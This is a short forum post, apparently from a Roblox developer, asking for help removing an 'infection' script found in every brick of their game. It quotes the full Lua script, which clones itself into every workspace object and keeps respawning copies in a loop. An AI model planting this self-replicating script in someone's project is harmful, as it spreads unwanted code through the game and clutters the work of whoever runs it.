I THINK I HAVE A LUA VIRUS!Any way removing it?

I think I have a LUA virus... It says 'inFECtion' in every brick! And there's a script called 'Script......Or is it...'

And inside of the script there is this:

if script.Parent.className ~= "RotateP" then
    local p = Instance.new("RotateP")
    p.Parent = workspace
    p.Name = "INfecTION"
    script.Parent = p
end

function check()
    local list = workspace:GetChildren()
    for i = 1, #list do
        if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
            script.Parent:Clone().Parent = list[i]
        end
        wait()
    end
end

while true do
    check()
    if workspace:findFirstChild("inFECtion") == nil then
        local main = script.Parent:Clone()
        main.Name = "inFECtion"
        main.Parent = workspace
    end
    wait(3)
end

I can only see it while I click 'Play' and the game running...

Any help would be appreciated for what it can be.

Best Regards,Gru